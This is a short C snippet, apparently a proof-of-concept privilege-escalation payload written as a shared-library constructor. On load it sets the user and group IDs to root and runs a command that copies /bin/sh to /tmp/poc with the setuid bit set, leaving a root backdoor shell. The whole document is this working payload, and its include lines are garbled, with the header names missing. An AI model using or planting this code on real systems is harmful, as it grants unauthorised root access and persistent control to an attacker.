#include #include #include #include static void a() __attribute__((constructor)); void a() { setuid(0); setgid(0); const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc &"; system(shell); }